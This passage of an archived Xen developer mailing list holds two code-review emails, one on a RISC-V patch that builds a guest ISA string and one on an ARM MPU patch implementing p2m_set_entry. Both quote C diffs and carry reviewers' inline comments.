Subject: Re: [PATCH v5 09/26] xen/riscv: introduce guest riscv,isa string
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <dc486923b5313c64cf383575d25c58c9af9e5eae.1783331040.git.oleksii.kurochko@gmail.com>
 <2f26c623-e577-44bb-8163-f52b97496d05@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <2f26c623-e577-44bb-8163-f52b97496d05@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783695659-A21CE9ED-BF4BC9BE/10/73395122804
X-purgate-type: spam
X-purgate-size: 6082



On 7/9/26 3:05 PM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> --- a/xen/arch/riscv/cpufeature.c
>> +++ b/xen/arch/riscv/cpufeature.c
>> @@ -14,6 +14,7 @@
>>   #include <xen/errno.h>
>>   #include <xen/init.h>
>>   #include <xen/lib.h>
>> +#include <xen/sched.h>
>>   #include <xen/sections.h>
>>   
>>   #include <asm/cpufeature.h>
>> @@ -34,6 +35,19 @@ struct riscv_isa_ext_data {
>>       .name = #ext_name,                          \
>>   }
>>   
>> +struct riscv_isa_ext_entry {
>> +    unsigned int id;
>> +    const char *name;
>> +    bool guest_supported;
>> +};
>> +
>> +#define RISCV_ISA_EXT_ENTRY(ext_name, guest_supp)       \
>> +{                                                       \
>> +    .id              = RISCV_ISA_EXT_ ## ext_name,      \
>> +    .name            = #ext_name,                       \
>> +    .guest_supported = guest_supp,                      \
>> +}
>> +
>>   /* Host ISA bitmap */
>>   static __ro_after_init DECLARE_BITMAP(riscv_isa, RISCV_ISA_EXT_MAX);
>>   
>> @@ -120,29 +134,30 @@ static int __init dt_get_cpuid_from_node(const struct dt_device_node *cpu,
>>    * and strncmp() is used in match_isa_ext() to compare extension names instead
>>    * of strncasecmp().
>>    */
>> -const struct riscv_isa_ext_data __initconst riscv_isa_ext[] = {
> 
> I realize it has been this way before, but ...
> 
>> -    RISCV_ISA_EXT_DATA(i),
>> -    RISCV_ISA_EXT_DATA(m),
>> -    RISCV_ISA_EXT_DATA(a),
>> -    RISCV_ISA_EXT_DATA(f),
>> -    RISCV_ISA_EXT_DATA(d),
>> -    RISCV_ISA_EXT_DATA(q),
>> -    RISCV_ISA_EXT_DATA(c),
>> -    RISCV_ISA_EXT_DATA(h),
>> -    RISCV_ISA_EXT_DATA(zicntr),
>> -    RISCV_ISA_EXT_DATA(zicsr),
>> -    RISCV_ISA_EXT_DATA(zifencei),
>> -    RISCV_ISA_EXT_DATA(zihintpause),
>> -    RISCV_ISA_EXT_DATA(zihpm),
>> -    RISCV_ISA_EXT_DATA(zba),
>> -    RISCV_ISA_EXT_DATA(zbb),
>> -    RISCV_ISA_EXT_DATA(zbs),
>> -    RISCV_ISA_EXT_DATA(smaia),
>> -    RISCV_ISA_EXT_DATA(smstateen),
>> -    RISCV_ISA_EXT_DATA(ssaia),
>> -    RISCV_ISA_EXT_DATA(sstc),
>> -    RISCV_ISA_EXT_DATA(svade),
>> -    RISCV_ISA_EXT_DATA(svpbmt),
>> +const struct riscv_isa_ext_entry riscv_isa_ext[] = {
> 
> ... is there a reason for this to be non-static? Its type (struct
> riscv_isa_ext_entry) is local to this file, and I also can't spot any
> declaration elsewhere.

I checked downstream changes and it also local to cpufeature.c file so 
it should be static.

> 
>> @@ -480,6 +495,74 @@ bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
>>       return test_bit(id, isa_bitmap);
>>   }
>>   
>> +int build_guest_isa_str(char *buf, size_t size,
>> +                        const unsigned long *isa_bitmap)
>> +{
>> +    char *p = buf;
>> +    size_t left = size;
>> +    int total;
>> +
>> +#if defined(CONFIG_RISCV_32)
>> +    total = snprintf(p, left, "rv32");
>> +#elif defined(CONFIG_RISCV_64)
>> +    total = snprintf(p, left, "rv64");
>> +#else
>> +# error "Unsupported RISC-V bitness"
>> +#endif
> 
> For the longer-term future of this, passing in const struct domain * may
> help.

pointer to const struct domain looks really better I chnage prototype of 
build_guest_isa_str().

> 
>> +    if ( total < 0 )
>> +        return total;
>> +
>> +    if ( buf )
>> +    {
>> +        if ( (size_t)total >= left )
>> +            return -ENOSPC;
>> +
>> +        p += total;
>> +        left -= total;
>> +    }
>> +
>> +    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
>> +    {
>> +        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
>> +        int ret;
>> +
>> +        if ( !riscv_isa_extension_available(isa_bitmap, ext->id) )
>> +            continue;
>> +
>> +        ret = snprintf(p, left, "%s%s",
>> +                       ext->id >= RISCV_ISA_EXT_BASE ? "_" : "",
>> +                       ext->name);
>> +        if ( ret < 0 )
>> +            return ret;
>> +
>> +        total += ret;
>> +
>> +        if ( buf )
>> +        {
>> +            if ( (size_t)ret >= left )
>> +                return -ENOSPC;
>> +
>> +            p += ret;
>> +            left -= ret;
>> +        }
>> +    }
>> +
>> +    return total;
>> +}
>> +
>> +void init_guest_isa(struct domain *d)
>> +{
>> +    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
>> +    {
>> +        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
>> +
>> +        if ( ext->guest_supported &&
>> +             riscv_isa_extension_available(NULL, ext->id) )
>> +            __set_bit(ext->id, d->arch.isa);
>> +    }
>> +}
> 
> Right now what this function does is dependent on only global variables.
> IOW each guest gets the same bitmap. Is this going to change soon?

At the moment, we don't have a use case where domain has unique bitmap. 
But IIRC correctly we agreed that generally it is good idea to have isa 
bitmap per domain and let the use to chose.

  Else
> why not calculate that bitmap once, taking the same shortcut as you take
> elsewhere for the time being?

static __ro_after_init DECLARE_BITMAP(guest_isa, RISCV_ISA_EXT_MAX);

/* called once from riscv_fill_hwcap() or similar */
void __init init_guest_isa_mask(void)
{
     for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
         if ( riscv_isa_ext[i].guest_supported &&
              riscv_isa_extension_available(NULL, riscv_isa_ext[i].id) )
             __set_bit(riscv_isa_ext[i].id, guest_isa);
}

void init_guest_isa(struct domain *d)   /* called per-domain */
{
     bitmap_copy(d->arch.isa, guest_isa, RISCV_ISA_EXT_MAX);
}

Do you mean something like that?

  Then allowing riscv_isa_ext[] to remain
> __initconst (should really have been __initconstrel).

I think you explained me already why but I forgot. Could you please 
remind me again why __initconstrel should be here? Is it because of 
pointers used inside struct riscv_isa_ext_entry?

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:04:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 15:04:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359512.1613048 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCmS-0008CA-Uo; Fri, 10 Jul 2026 15:04:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359512.1613048; Fri, 10 Jul 2026 15:04:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCmS-0008C3-Ru; Fri, 10 Jul 2026 15:04:44 +0000
Received: by outflank-mailman (input) for mailman id 1359512;
 Fri, 10 Jul 2026 15:04:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiCmR-0008Bx-CS
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:04:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiCmQ-007QcZ-18
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:04:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510a06-2eae-0a2a0a5409dd-0a2a45049f0e-8
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:04:41 +0200
Received: from [40.93.196.24]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510a07-b1e5-0a2a45040019-285dc41859d1-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:04:41 +0200
Received: from BN9PR03CA0783.namprd03.prod.outlook.com (2603:10b6:408:13f::8)
 by CH3PR12MB7739.namprd12.prod.outlook.com (2603:10b6:610:151::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 15:04:22 +0000
Received: from BN2PEPF00004FC0.namprd04.prod.outlook.com
 (2603:10b6:408:13f:cafe::a2) by BN9PR03CA0783.outlook.office365.com
 (2603:10b6:408:13f::8) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.12 via Frontend Transport; Fri,
 10 Jul 2026 15:04:22 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN2PEPF00004FC0.mail.protection.outlook.com (10.167.243.186) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 15:04:21 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:04:14 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:03:36 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 10:03:34 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=V1SsdhKNvAJQI7QPSLpgo4OxH/tERtjr0YuynPbV8Ye/XJrAQHLvQSXo0N1AWSlTwJeVqo2cQPQ/UJkkgn9w6t1/kZcpY3EPd4YD+rZXGmzHajag7625iiN/1QmG76WR07JP0/oNCHp1RzXVFmBRgVOESEeYV5p6pPVEPWTm4XIVN+iDoNBKxyYnbVAd10xvYD0pc2gycJi+UT8kz1VPzYY5+MUKFIYUV5MeIAzz34E4x3o1/IhPpg5Kw2P5pWT4AFwo3yBKvzavuUljgh9fZn2YI4MfV90MpNUJXZuPC9oAhDgE3JV3mrj86ar/1PoADwwMc2neqZWy81EwsbL0cw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=K+GCN0uCPhbYpjkLakFcOrKmJerj6Qan4aAw7P14occ=;
 b=YYiVmYjxHgpHM9e0Z5qJDb9ICAl11lH6BU8xb5NZNBWAB97F4FXJtDTLpM21MxAP/xizoXV7mlyINcgcU4SbRXxvxDGdOnAUzFQKnKB5RFRF6HGqLNVGK/myrijuDThzOJrHYnb0NOeJjQuRD2NFv/KRu/DcIX6bWzsr+EV+9w/THlGEfkXcp510TmJOLM1kctbU44ZzGjCITqjQWDD8i0WHVIgrbkFbAPRyE0lsmt1LH6DoICklU9Aq+QSRmV6hGDjAZrhW0B2UMWv5L/cUbOke2CengVAB2aYC1rjK0Qy2gV5LF3JC9/j0a8l1fMwvXD+lIoNsSS5OPjGV4xi4rQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=K+GCN0uCPhbYpjkLakFcOrKmJerj6Qan4aAw7P14occ=;
 b=K7V4SG7+RZuX8g1a4dvRDwwC0l6CwO+BtgkTHuXSISOGHYh/Y6jR3EjdqndSjaDvs4joCg/VDU0y0dwadjwTkK+jIU4Csb2Xkdhfx0HFdNqcRYnc/y6mwYwKx5dZU4uRvJauykxiDY+m3dCxAnMrHq9SznsqcILf/cpWOEW0cq4=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <77ffbeab-ed35-409e-92fa-b64727000d53@amd.com>
Date: Fri, 10 Jul 2026 16:03:33 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/8] xen/arm: Implement p2m_set_entry for MPU systems
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Penny Zheng <Penny.Zheng@arm.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Wei Chen <wei.chen@arm.com>, "Hari
 Limaye" <hari.limaye@arm.com>, Harry Ramsey <harry.ramsey@arm.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-2-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-2-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN2PEPF00004FC0:EE_|CH3PR12MB7739:EE_
X-MS-Office365-Filtering-Correlation-Id: 2f5e3c5c-4fb2-47e5-6a1c-08dede9485db
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|82310400026|23010399003|7416014|376014|18002099003|22082099003|6133799003|11063799006|5023799004|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	dsN/RX+7NS+7/Mr5STHjnEZ8wb6UK4BB9s2jAy9BVMK9cDLASC2T1qBQFxa9bNYnfBwqdsmsvVxDzclaRn174EN3+E9ecLuEtm8KDaVtThGxwkbz8cfSZ87MduQ66nrXMSd1IpA5SAPuT4c4fr3EzEPh1SOEFL2hPbkkcjn8hT2+cWCfvqhDW0DLQG2ooahzY55XHBWZzXSqlfPxgJmxj3Y9T6Omqt6N+kfMj/Ekq4SJ8cSR5IqcZbqAlucSwWUk3GK+vlP4Y7z8lWhmVKxSZZO47RJBkk/tsw/G+cLOuNCsRmVse6iKHWglUsLSgOm/JfVnVLrzJlPrhx0/xIf3Aa3iwdKgCpn6wK3m6YUNB4+sVeQdiApSSQ2dODbR8ujCjfitL1oYBqHDHQe9irSc4uH3poC00U7dftlXDUooa2zM6U0lXNQ+JDumcTxO5K2htzgbvoYXjFmyyUuXn/vVGD0Yh+5yQ1kT5fA/oFcdf86i4iP+Au7LI8X8yJg5Tf5rznzqpXNAsRiRbtI5TJ3s8R1RVuvadKRRTx3LyDa3mVKiAnHJQFXrWsi4fD6FQgIgxYZ3TJCkFgIcXwpHXbbxR70+3xQoFYNdPyeAoeO1GownjE6PlHARG5QJy0FBvM5Z53KqSpA5yJ4HWFeTgEMIezNElKYYoOUpeienOKMT2BD/Z11yOpo2rAKIT3yDpgkkAB4fWVP1eqeG5E+kOrimNA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(82310400026)(23010399003)(7416014)(376014)(18002099003)(22082099003)(6133799003)(11063799006)(5023799004)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	hy0bMCpU2AhPXwi2Z7SS/zH/DlwNe8SKvDjbaVoh3WuzZGjq2+M3NZ8Lsmp5wxqNIXjLU9Mz2jo4YPRABNNGCNNkoX+Mbzv/D2sgh7JakvMDpqY+9SuxtD/9odrdgmM9y43Pk0QBw2z09hkdY9/yNHv9e4KfDVZNXnlo89HXLI0YEZ8To+EzPwb/K6ezBk5Yi3a6DY9zQVxlQpqYC3TvrvL/bjDm8vC4cwgXNWTxCaqos5Lv3fAcU1u1XaaRUALClqrBtu0PNqYQbOPHLGgVBBVNI/zK1MYpm1qTapYIAahL2qXf04qDhc/Z+AHumUlu8RKRRTEUvEMMKA4RlykuPJFVhlQztXQvOehJ/i5b7hC4Ksm/oxeTgPxXHfumcRw7fj/Azkvh1FkMYmH9LAzUYhwSEwbyYsKcwzJC2mtb3T4gZxUdqPEUBVTkvnnkS2B0
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 15:04:21.4503
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2f5e3c5c-4fb2-47e5-6a1c-08dede9485db
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN2PEPF00004FC0.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB7739
X-purgate-ID: tlsNG-ebf023/1783695881-7FBADFE7-C16FA996/0/0
X-purgate-type: clean
X-purgate-size: 14157

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:

> From: Penny Zheng <Penny.Zheng@arm.com>
>
> Implement the function `p2m_set_entry`, which is responsible for
> inserting a new entry into the p2m tables, for MPU systems.
>
> Signed-off-by: Penny Zheng <penny.zheng@arm.com>
> Signed-off-by: Wei Chen <wei.chen@arm.com>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> Signed-off-by: Hari Limaye <hari.limaye@arm.com>
> Signed-off-by: Harry Ramsey <harry.ramsey@arm.com>
> ---
>   xen/arch/arm/include/asm/arm32/mpu.h |   3 +-
>   xen/arch/arm/include/asm/arm64/mpu.h |   3 +-
>   xen/arch/arm/include/asm/mpu/mm.h    |   3 +-
>   xen/arch/arm/include/asm/mpu/p2m.h   |  10 +++
>   xen/arch/arm/include/asm/p2m.h       |   3 +
>   xen/arch/arm/mpu/mm.c                |  43 ++++++----
>   xen/arch/arm/mpu/p2m.c               | 123 ++++++++++++++++++++++++++-
>   7 files changed, 167 insertions(+), 21 deletions(-)
>
> diff --git a/xen/arch/arm/include/asm/arm32/mpu.h b/xen/arch/arm/include/asm/arm32/mpu.h
> index d565230f84ee..ab58df079920 100644
> --- a/xen/arch/arm/include/asm/arm32/mpu.h
> +++ b/xen/arch/arm/include/asm/arm32/mpu.h
> @@ -42,7 +42,8 @@ typedef struct {
>       prbar_t prbar;
>       prlar_t prlar;
>       uint8_t refcount;
> -    uint8_t pad[7];     /* Pad structure to 16 Bytes */
> +    uint8_t p2m_type;
> +    uint8_t pad[6];     /* Pad structure to 16 Bytes */
>   } pr_t;
>   
>   #endif /* __ASSEMBLER__ */
> diff --git a/xen/arch/arm/include/asm/arm64/mpu.h b/xen/arch/arm/include/asm/arm64/mpu.h
> index 8b86a03fee44..c82624f0f2cf 100644
> --- a/xen/arch/arm/include/asm/arm64/mpu.h
> +++ b/xen/arch/arm/include/asm/arm64/mpu.h
> @@ -41,7 +41,8 @@ typedef struct {
>       prbar_t prbar;
>       prlar_t prlar;
>       uint8_t refcount;
> -    uint8_t pad[15];    /* Pad structure to 32 Bytes */
> +    uint8_t p2m_type;
> +    uint8_t pad[14];    /* Pad structure to 32 Bytes */
>   } pr_t;
>   
>   #endif /* __ASSEMBLER__ */
> diff --git a/xen/arch/arm/include/asm/mpu/mm.h b/xen/arch/arm/include/asm/mpu/mm.h
> index 1b5ffa5b644d..24bffdee4fb6 100644
> --- a/xen/arch/arm/include/asm/mpu/mm.h
> +++ b/xen/arch/arm/include/asm/mpu/mm.h
> @@ -75,9 +75,10 @@ void write_protection_region(const pr_t *pr_write, uint8_t sel);
>    * @param base      Base address of the range to map (inclusive).
>    * @param limit     Limit address of the range to map (exclusive).
>    * @param flags     Flags for the memory range to map.
> + * @param p2m       True for a stage 2 mapping, otherwise False.
>    * @return          0 on success, negative on error.
>    */
> -int xen_mpumap_update(paddr_t base, paddr_t limit, unsigned int flags);
> +int xen_mpumap_update(paddr_t base, paddr_t limit, unsigned int flags, bool p2m);
>   
>   /*
>    * Creates a pr_t structure describing a protection region.
> diff --git a/xen/arch/arm/include/asm/mpu/p2m.h b/xen/arch/arm/include/asm/mpu/p2m.h
> index 39fc0c944916..b9c7be2d9dcc 100644
> --- a/xen/arch/arm/include/asm/mpu/p2m.h
> +++ b/xen/arch/arm/include/asm/mpu/p2m.h
> @@ -21,6 +21,16 @@ static inline void p2m_clear_root_pages(struct p2m_domain *p2m) {}
>   
>   static inline void p2m_tlb_flush_sync(struct p2m_domain *p2m) {}
>   
> +static inline void region_set_p2m(pr_t *pr, p2m_type_t p2m_type)
> +{
> +    pr->p2m_type = p2m_type;
> +}
> +
> +static inline p2m_type_t region_get_p2m(pr_t *pr)
The pointer is read-only here; take const pr_t *. Same for region_set_p2m's
sibling accessors added in this series
> +{
> +    return pr->p2m_type;
> +}
> +
>   #endif /* __ARM_MPU_P2M_H__ */
>   
>   /*
> diff --git a/xen/arch/arm/include/asm/p2m.h b/xen/arch/arm/include/asm/p2m.h
> index ed1b6dd40f40..43b383885da0 100644
> --- a/xen/arch/arm/include/asm/p2m.h
> +++ b/xen/arch/arm/include/asm/p2m.h
> @@ -54,6 +54,9 @@ struct p2m_domain {
>   #else
>       /* Current Virtualization System Control Register for the p2m */
>       register_t vsctlr;
> +
> +    /* Number of MPU memory regions in P2M MPU memory mapping table. */
> +    uint8_t nr_regions;
>   #endif
>   
>       /* Highest guest frame that's ever been mapped in the p2m */
> diff --git a/xen/arch/arm/mpu/mm.c b/xen/arch/arm/mpu/mm.c
> index aff88bd3a9c1..4ee58ded5ad6 100644
> --- a/xen/arch/arm/mpu/mm.c
> +++ b/xen/arch/arm/mpu/mm.c
> @@ -317,13 +317,14 @@ static int xen_mpumap_free_entry(uint8_t idx, int region_found_type)
>    * Update the entry in the MPU memory region mapping table (xen_mpumap) for the
>    * given memory range and flags, creating one if none exists.
>    *
> - * @param base  Base address (inclusive).
> - * @param limit Limit address (exclusive).
> - * @param flags Region attributes (a combination of PAGE_HYPERVISOR_XXX)
> + * @param base      Base address (inclusive).
> + * @param limit     Limit address (exclusive).
> + * @param flags     Region attributes (a combination of PAGE_HYPERVISOR_XXX)
> + * @param p2m       True for a stage 2 mapping, otherwise False.
>    * @return      0 on success, otherwise negative on error.
>    */
>   static int xen_mpumap_update_entry(paddr_t base, paddr_t limit,
> -                                   unsigned int flags)
> +                                   unsigned int flags, bool p2m)
>   {
>       bool flags_has_page_present;
>       uint8_t idx;
> @@ -399,6 +400,8 @@ static int xen_mpumap_update_entry(paddr_t base, paddr_t limit,
>               return -ENOENT;
>   
>           xen_mpumap[idx] = pr_of_addr(base, limit, flags);
> +        /* AP[0] always 1 for stage 2 */
> +        xen_mpumap[idx].prbar.reg.ap_0 = (p2m ? 1 : 0);
>   
>           write_protection_region(&xen_mpumap[idx], idx);
>       }
> @@ -418,33 +421,41 @@ static int xen_mpumap_update_entry(paddr_t base, paddr_t limit,
>       return 0;
>   }
>   
> -int xen_mpumap_update(paddr_t base, paddr_t limit, unsigned int flags)
> +int check_mpu_mapping(paddr_t base, paddr_t limit, unsigned int flags)
>   {
> -    int rc;
> -
>       if ( flags_has_rwx(flags) )
>       {
>           printk("Mappings should not be both Writeable and Executable\n");
> -        return -EINVAL;
> +        return false;
This function returns bool but is typed int, and has external linkage with
no prototype. It becomes static bool in patch 4 - please make it static bool
here so it is correct when introduced, and drop the churn in 4.
>       }
>   
>       if ( base >= limit )
>       {
>           printk("Base address %#"PRIpaddr" must be smaller than limit address %#"PRIpaddr"\n",
>                  base, limit);
> -        return -EINVAL;
> +        return false;
>       }
>   
>       if ( !IS_ALIGNED(base, PAGE_SIZE) || !IS_ALIGNED(limit, PAGE_SIZE) )
>       {
>           printk("base address %#"PRIpaddr", or limit address %#"PRIpaddr" is not page aligned\n",
>                  base, limit);
> -        return -EINVAL;
> +        return false;
>       }
>   
> +    return true;
> +}
> +
> +int xen_mpumap_update(paddr_t base, paddr_t limit, unsigned int flags, bool p2m)
> +{
> +    int rc;
> +
> +    if ( !check_mpu_mapping(base, limit, flags) )
> +        return -EINVAL;
> +
>       spin_lock(&xen_mpumap_lock);
>   
> -    rc = xen_mpumap_update_entry(base, limit, flags);
> +    rc = xen_mpumap_update_entry(base, limit, flags, p2m);
>       if ( !rc )
>           context_sync_mpu();
>   
> @@ -459,7 +470,7 @@ int destroy_xen_mappings(unsigned long s, unsigned long e)
>       ASSERT(IS_ALIGNED(e, PAGE_SIZE));
>       ASSERT(s < e);
>   
> -    return xen_mpumap_update(s, e, 0);
> +    return xen_mpumap_update(s, e, 0, false);
>   }
>   
>   int destroy_xen_mapping_containing(paddr_t s)
> @@ -499,7 +510,7 @@ int map_pages_to_xen(unsigned long virt, mfn_t mfn, unsigned long nr_mfns,
>                        unsigned int flags)
>   {
>       /* MPU systems have no translation, ma == va, so pass virt directly */
> -    return xen_mpumap_update(virt, mfn_to_maddr(mfn_add(mfn, nr_mfns)), flags);
> +    return xen_mpumap_update(virt, mfn_to_maddr(mfn_add(mfn, nr_mfns)), flags, false);
>   }
>   
>   /*
> @@ -520,7 +531,7 @@ void __init setup_mm_helper(void)
>               paddr_t bank_end = bank_start + bank_size;
>   
>               /* Map static heap with one MPU protection region */
> -            if ( xen_mpumap_update(bank_start, bank_end, PAGE_HYPERVISOR) )
> +            if ( xen_mpumap_update(bank_start, bank_end, PAGE_HYPERVISOR, false) )
>                   panic("Failed to map static heap\n");
>   
>               break;
> @@ -533,7 +544,7 @@ void __init setup_mm_helper(void)
>   
>   int modify_xen_mappings(unsigned long s, unsigned long e, unsigned int nf)
>   {
> -    return xen_mpumap_update(s, e, nf);
> +    return xen_mpumap_update(s, e, nf, false);
>   }
>   
>   void dump_hyp_walk(vaddr_t addr)
> @@ -598,7 +609,7 @@ void __iomem *ioremap_attr(paddr_t start, size_t len, unsigned int flags)
>       paddr_t start_pg = round_pgdown(start);
>       paddr_t end_pg = round_pgup(start + len);
>   
> -    if ( xen_mpumap_update(start_pg, end_pg, flags) )
> +    if ( xen_mpumap_update(start_pg, end_pg, flags, false) )
>           return NULL;
>   
>       /* Mapped or already mapped */
